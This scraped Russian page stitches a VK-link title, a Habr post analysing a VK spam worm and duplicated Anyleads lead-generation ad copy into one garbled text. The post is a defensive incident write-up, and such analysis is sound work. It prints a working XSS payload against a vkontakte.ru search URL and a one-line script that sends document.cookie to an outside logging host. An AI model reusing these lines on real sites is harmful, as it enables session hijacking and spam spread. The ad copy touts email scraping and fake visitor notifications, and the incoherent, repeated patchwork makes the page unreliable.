Ссылка в контакте на имя: Как сделать имя, слово в ВК ссылкой

Как стать разносчиком спама ВКонтакте из-за любопытства / Хабр

Буквально несколько минут назад я умудрился разослать 200+ сообщений своим друзьям ВКонтакте.
Естественно это было спам сообщение следующего содержания:

привет я удаляюсь из контакта, оч много спама приходит((сейчас удалю свою страничку, если что-то будет нужно, то звони мне на моб.телефон или ищи меня здесь vkontakte.ru/away.php?to=… у меня там есть своя страничка под мои именем.это не спам, рассылаю всем своим друзьям…).

Собственно удивление было связано с тем, что:
1. Я использую Linux и только Linux везде где только можно.
2. ВКонтакт используется только из дома опять же сугубо из-под Linux
3. На ВКонтакт и на почту, привязанную к нему стоят достаточно криптостойкие пароли из 10+ символов латинского алфавита и цифр

Да, я параноик

Внимание! Все последующие переходы по ссылкам вне этой статьи для Вашей безопасности советую проводить только если Вы разлогинены из ВКонтакта.

Первым делом я решил посмотреть куда же ведет эта ссылка, что я рассылал.
Ссылка вела на сайт vk-foto.ru, который сразу же редиректил на odnonochniki.ru/?rid=484
С анализа «одноночников» я решил и начать.
Тем не менее ничего вредоносного замечено не было.
«Гм», сказали суровые сибирские мужики я, закрыл Оперу, и открыл фаерфокс.
Первым делом в Web Developer Toolbar я отключил переход по META-редиректам и включил Firebug для сайта vk-foto.ru. Убедившись что в Firefox’е я разлогинен ВКонтакте, я пошел на сайт.
Анализ HTML кода быстро обнаружил желаемое:
<iframe src='http://vk-foto.ru/2/1.php' ></iframe>

Уже предвкушая разгадку, я набрал упомянутый адрес и получил… 404 ошибку апача.
Ну что ж, значит надо поковыряться глубже.
Для vk-foto включил панель Net Firebug’а, перезагрузил страничку и стал смотреть что грузится:

Увидев это я обругал себя последними словами. Ведь было за что:
1. Не все что выглядит как 404 Апача является ею. Код возврата НТТР надо смотреть всегда
2. Увидев «404» я даже не удосужился глянуть в ее код

Итак, очередной iframe:
<iframe src = vkontakte.ru/gsearch.php?from=ads&section=ads&c[type]=1&c[%22%3E%3CsCRIPT%20%20src%20%3d%20http://webzer.vov.ru/vk.js%20%20%3E%3C/script%3E]=2 ></iframe>

Гм. А вот это уже похоже на XSS Вконтакте. На страничку поиска подсасывается внешний Javascript.
Его содержимое просто как апельсин:
location.href='http://webzer.vov.ru/css/log.php?' + document.cookie

Таким образом куки ВКонтакта уходят на сторонний хост.

Что из всего этого следует:

1. то что вы пользуетесь Linux еще не защищает Вас от всего
2. от любопытства кошка сдохла — получив от друга такое сообщение я пошел по ссылке, за что и поплатился
3. (следует из предыдущего) никогда не ходите по ссылкам, полученным неизвестно откуда
4. Не все то 404, что так выглядит 🙂
5. Как ни печально, но и на старуху (ВКонтакте) бывает проруха.

DISCLAIMER: Я прекрасно понимаю, что профессионалам в области информационной безопасности я не рассказал ничего нового. Этот пост направлен скорее на рядовых IT-шников, и призван уберечь их от наступания на мои грабли

Программное обеспечение для автоматизации продаж №1 на рынке. Поиск электронной почты, поиск контактов B2B и отправка холодных электронных писем

Программное обеспечение для автоматизации продаж № 1 на рынке. Поиск электронной почты, поиск контактов B2B и отправка холодных электронных писем — Anyleads Лучшее программное обеспечение для генерации лидов
из 2023

НОВАЯ
ВЕРСИЯ

Мы расширяем наш бизнес. Запустите Anyleads под белой этикеткой с собственным логотипом и цветами. Создайте собственное программное обеспечение для лидогенерации.

Более +200 функций для привлечения потенциальных клиентов 😍

Мы предлагаем несколько продуктов для привлечения потенциальных клиентов, узнайте о них ниже!

>> Неограниченный доступ ко всем продуктам с одной лицензией. Проверьте наши цены.

Идеальный продукт для получения качественных лидов от B2B до B2C.

• Доступ / извлечение из более чем 15 миллионов компаний B2B.
• Извлеките местные предприятия из Google Maps.
• Найдите домены компании по именам.
• Получите электронные письма всех сотрудников из списка доменов.
• Отправьте все данные в CRM через Zapier.

Извлеките электронные письма, телефоны на странице веб-сайтов и загрузите их в Excel или CSV.

• Загрузите список веб-сайтов для извлечения электронных писем.
• Экспорт номеров телефонов с целевой страницы.
• Экспорт URL-адресов социальных сетей (Facebook, Instagram ..) со страниц.
• Экспорт в CSV или Excel в один клик.
• Отправьте данные в CRM или другое программное обеспечение.

Откройте для себя электронные письма из CSV из 3 столбцов (имя, фамилия и название компании).

• Загрузите большую партию CSV онлайн, чтобы найти электронные письма.
• Обнаружение электронной почты выполняется быстро и позволяет создавать электронные письма по шаблонам.
• Найдите действительные электронные письма из 3 точек данных.
• Экспорт в CSV или Excel в один клик.
• Отправляйте собранные данные в вашу CRM или любую программу.

Превратите своих посетителей в потенциальных клиентов, собирая информацию от них.

• Установите неограниченное количество чат-ботов, чтобы получать неограниченное количество потенциальных клиентов.
• Настройте сценарий вашего чат-бота.
• Настройте цвет, положение и виджет.
• Экспортируйте лиды в Excel или CSV.
• Отправляйте захваченные лиды напрямую в CRM или любое другое программное обеспечение.

Откройте для себя каждый день тысячи новых компаний, зарегистрированных в Интернете.

• Перспектива новых предприятий, зарегистрированных в Интернете.
• Transfer приводит к кампаниям по отправке писем на нем.
• Каждый день загружаются тысячи новых лидов.
• Экспортируйте все лиды в Excel или CSV.
• Отправляйте собранные данные в CRM или другое программное обеспечение.

Собирайте отзывы посетителей и увеличивайте количество отзывов на страницах Google и Facebook.

• Установите и настройте виджет на своем сайте.
• Соберите больше отзывов, повысьте свои позиции в SEO.
• Расширьте свою страницу Facebook и страницу Google.
• Экспорт отзывов в Excel или CSV.
• Отправляйте отзывы прямо в CRM.

Отправляйте информационные бюллетени или электронные письма о продажах с автоматическими последующими действиями.

• Создавайте неограниченное количество кампаний и подключайте неограниченное количество отправителей.
• Функция разогрева для увеличения доставляемости.
• Отправляйте персонализированные изображения с помощью нашего инструмента персонализации изображений.
• Отправляйте в CRM такие события, как открытия, клики и ответы.
• Создавайте больше встреч по продажам с автоматическими последующими действиями.

Каждый раз, когда кто-то регистрируется в вашей службе, отправьте эхо-запрос на этот API, чтобы проверить правильность адреса электронной почты.

• Проверьте, существует ли электронная почта, чтобы предотвратить поддельные электронные письма.
• Экспорт результатов в Excel или CSV.
• Пингуйте наш API в режиме реального времени или подключите его к своей системе.
• Мгновенная проверка электронной почты.
• Отправляйте собранные данные в CRM или другое программное обеспечение.

Создавайте и отображайте уведомления на своем веб-сайте, чтобы показывать случайные сообщения вашим посетителям. Это повысит ваши продажи и доверие к вам.

• Добавляйте неограниченное количество сайтов.
• Добавляйте неограниченное количество уведомлений.
• Создавайте уведомления с географической привязкой.
• Отображение случайных поддельных уведомлений.
• Отправляйте собранные данные в CRM или другое программное обеспечение.

Извлекайте электронные письма и контакты из социальных сетей B2B. Находите новых лидов в один клик и создавайте целевые списки.

• Создавайте неограниченные списки, фильтруйте по стране, отрасли, размеру и названию должности.
• Гиперцелевая лидогенерация.
• Создавайте списки B2B и B2C в один клик.
• Сверхбыстрая генерация электронных писем.
• Отправляйте потенциальных клиентов в CRM или другое программное обеспечение.

Вы хотите использовать белую этикетку и перепродавать все инструменты?

Мы создали вторую компанию под белой маркой Anyleads.
Запустите свое собственное программное обеспечение для генерации лидов в один клик, присоединившись к другой нашей компании Sell SaaS.

Если у вас есть онлайн-бизнес, Anyleads для вас!

Если у вас есть онлайн-бизнес, Anyleads следует внедрить с первого дня.
Мы создаем инновационные решения, чтобы приносить вам клиентов и трафик.

Более 300 000 компаний используют Anyleads

Все наши продукты готовы к работе, просты в использовании и предлагают большую ценность для любого бизнеса. Именно поэтому у нас есть клиенты со всего мира 😍

Нас любят 💜

Нас любят самые известные маркетологи и компании!
Ознакомьтесь с их цитатой ниже.

«Anyleads помог нам масштабировать исходящие процессы. То, что раньше занимало у нас часы, теперь занимает пару минут».

Хьюстон Голден.

Генеральный директор BAMF Media

«Anyleads прост. Это то, что мы ищем, простота позволила нам управлять безумным количеством лидов».

Жиль де Клерк.

Специалист по стратегии развития Ramp Ventures

«Это помогает нам связываться с ценными лидами в масштабе, не теряя драгоценного времени. Время, которое мы можем потратить, чтобы повысить ценность».

Рикардо Гекиере.

Генеральный директор Fast Forward

«Anyleads — это революционная машина для генерации лидов для предприятий, которая помогла нам увеличить наш рост».

Випин Верма.

Генеральный директор Growth Hack World

«Мы используем Anyleads для привлечения потенциальных клиентов и с первого дня получили многообещающие результаты».

Жюльен Ле Купанек.

Генеральный директор Growth Bunker

«Нам нравится Anyleads, потому что это решение с большим количеством показателей, которое позволяет нам эффективно следить за нашими клиентами».

Вин Клэнси.

Хакер Роста / Спикер

Программное обеспечение для автоматизации продаж №1 на рынке. Поиск электронной почты, поиск контактов B2B и отправка холодных электронных писем

Программное обеспечение для автоматизации продаж № 1 на рынке. Поиск электронной почты, поиск контактов B2B и отправка холодных электронных писем — Anyleads Лучшее программное обеспечение для генерации лидов
из 2023

НОВАЯ
ВЕРСИЯ

Мы расширяем наш бизнес. Запустите Anyleads под белой этикеткой с собственным логотипом и цветами. Создайте собственное программное обеспечение для лидогенерации.

Более +200 функций для привлечения потенциальных клиентов 😍

Мы предлагаем несколько продуктов для привлечения потенциальных клиентов, узнайте о них ниже!

>> Неограниченный доступ ко всем продуктам с одной лицензией. Проверьте наши цены.

Идеальный продукт для получения качественных лидов от B2B до B2C.

• Доступ / извлечение из более чем 15 миллионов компаний B2B.
• Извлеките местные предприятия из Google Maps.
• Найдите домены компании по именам.
• Получите электронные письма всех сотрудников из списка доменов.
• Отправьте все данные в CRM через Zapier.

Извлеките электронные письма, телефоны на странице веб-сайтов и загрузите их в Excel или CSV.

• Загрузите список веб-сайтов для извлечения электронных писем.
• Экспорт номеров телефонов с целевой страницы.
• Экспорт URL-адресов социальных сетей (Facebook, Instagram ..) со страниц.
• Экспорт в CSV или Excel в один клик.
• Отправьте данные в CRM или другое программное обеспечение.

Откройте для себя электронные письма из CSV из 3 столбцов (имя, фамилия и название компании).

• Загрузите большую партию CSV онлайн, чтобы найти электронные письма.
• Обнаружение электронной почты выполняется быстро и позволяет создавать электронные письма по шаблонам.
• Найдите действительные электронные письма из 3 точек данных.
• Экспорт в CSV или Excel в один клик.
• Отправляйте собранные данные в вашу CRM или любую программу.

Превратите своих посетителей в потенциальных клиентов, собирая информацию от них.

• Установите неограниченное количество чат-ботов, чтобы получать неограниченное количество потенциальных клиентов.
• Настройте сценарий вашего чат-бота.
• Настройте цвет, положение и виджет.
• Экспортируйте лиды в Excel или CSV.
• Отправляйте захваченные лиды напрямую в CRM или любое другое программное обеспечение.

Откройте для себя каждый день тысячи новых компаний, зарегистрированных в Интернете.

• Перспектива новых предприятий, зарегистрированных в Интернете.
• Transfer приводит к кампаниям по отправке писем на нем.
• Каждый день загружаются тысячи новых лидов.
• Экспортируйте все лиды в Excel или CSV.
• Отправляйте собранные данные в CRM или другое программное обеспечение.

Собирайте отзывы посетителей и увеличивайте количество отзывов на страницах Google и Facebook.

• Установите и настройте виджет на своем сайте.
• Соберите больше отзывов, повысьте свои позиции в SEO.
• Расширьте свою страницу Facebook и страницу Google.
• Экспорт отзывов в Excel или CSV.
• Отправляйте отзывы прямо в CRM.

Отправляйте информационные бюллетени или электронные письма о продажах с автоматическими последующими действиями.

• Создавайте неограниченное количество кампаний и подключайте неограниченное количество отправителей.
• Функция разогрева для увеличения доставляемости.
• Отправляйте персонализированные изображения с помощью нашего инструмента персонализации изображений.
• Отправляйте в CRM такие события, как открытия, клики и ответы.
• Создавайте больше встреч по продажам с автоматическими последующими действиями.

Каждый раз, когда кто-то регистрируется в вашей службе, отправьте эхо-запрос на этот API, чтобы проверить правильность адреса электронной почты.

• Проверьте, существует ли электронная почта, чтобы предотвратить поддельные электронные письма.
• Экспорт результатов в Excel или CSV.
• Пингуйте наш API в режиме реального времени или подключите его к своей системе.
• Мгновенная проверка электронной почты.
• Отправляйте собранные данные в CRM или другое программное обеспечение.

Создавайте и отображайте уведомления на своем веб-сайте, чтобы показывать случайные сообщения вашим посетителям. Это повысит ваши продажи и доверие к вам.

• Добавляйте неограниченное количество сайтов.
• Добавляйте неограниченное количество уведомлений.
• Создавайте уведомления с географической привязкой.
• Отображение случайных поддельных уведомлений.
• Отправляйте собранные данные в CRM или другое программное обеспечение.

Извлекайте электронные письма и контакты из социальных сетей B2B. Находите новых лидов в один клик и создавайте целевые списки.

• Создавайте неограниченные списки, фильтруйте по стране, отрасли, размеру и названию должности.
• Гиперцелевая лидогенерация.
• Создавайте списки B2B и B2C в один клик.
• Сверхбыстрая генерация электронных писем.
• Отправляйте потенциальных клиентов в CRM или другое программное обеспечение.

Вы хотите использовать белую этикетку и перепродавать все инструменты?

Мы создали вторую компанию под белой маркой Anyleads.
Запустите свое собственное программное обеспечение для генерации лидов в один клик, присоединившись к другой нашей компании Sell SaaS.

Если у вас есть онлайн-бизнес, Anyleads для вас!

Если у вас есть онлайн-бизнес, Anyleads следует внедрить с первого дня.
Мы создаем инновационные решения, чтобы приносить вам клиентов и трафик.

Более 300 000 компаний используют Anyleads

Все наши продукты готовы к работе, просты в использовании и предлагают большую ценность для любого бизнеса. Именно поэтому у нас есть клиенты со всего мира 😍

Нас любят 💜

Нас любят самые известные маркетологи и компании!
Ознакомьтесь с их цитатой ниже.

«Anyleads помог нам масштабировать исходящие процессы. То, что раньше занимало у нас часы, теперь занимает пару минут».

Хьюстон Голден.

Генеральный директор BAMF Media

«Anyleads прост. Это то, что мы ищем, простота позволила нам управлять безумным количеством лидов».

Жиль де Клерк.

Специалист по стратегии развития Ramp Ventures

«Это помогает нам связываться с ценными лидами в масштабе, не теряя драгоценного времени. Время, которое мы можем потратить, чтобы повысить ценность».

Рикардо Гекиере.

Генеральный директор Fast Forward

«Anyleads — это революционная машина для генерации лидов для предприятий, которая помогла нам увеличить наш рост».

Випин Верма.

Генеральный директор Growth Hack World

«Мы используем Anyleads для привлечения потенциальных клиентов и с первого дня получили многообещающие результаты».

Жюльен Ле Купанек.

Генеральный директор Growth Bunker

«Нам нравится Anyleads, потому что это решение с большим количеством показателей, которое позволяет нам эффективно следить за нашими клиентами».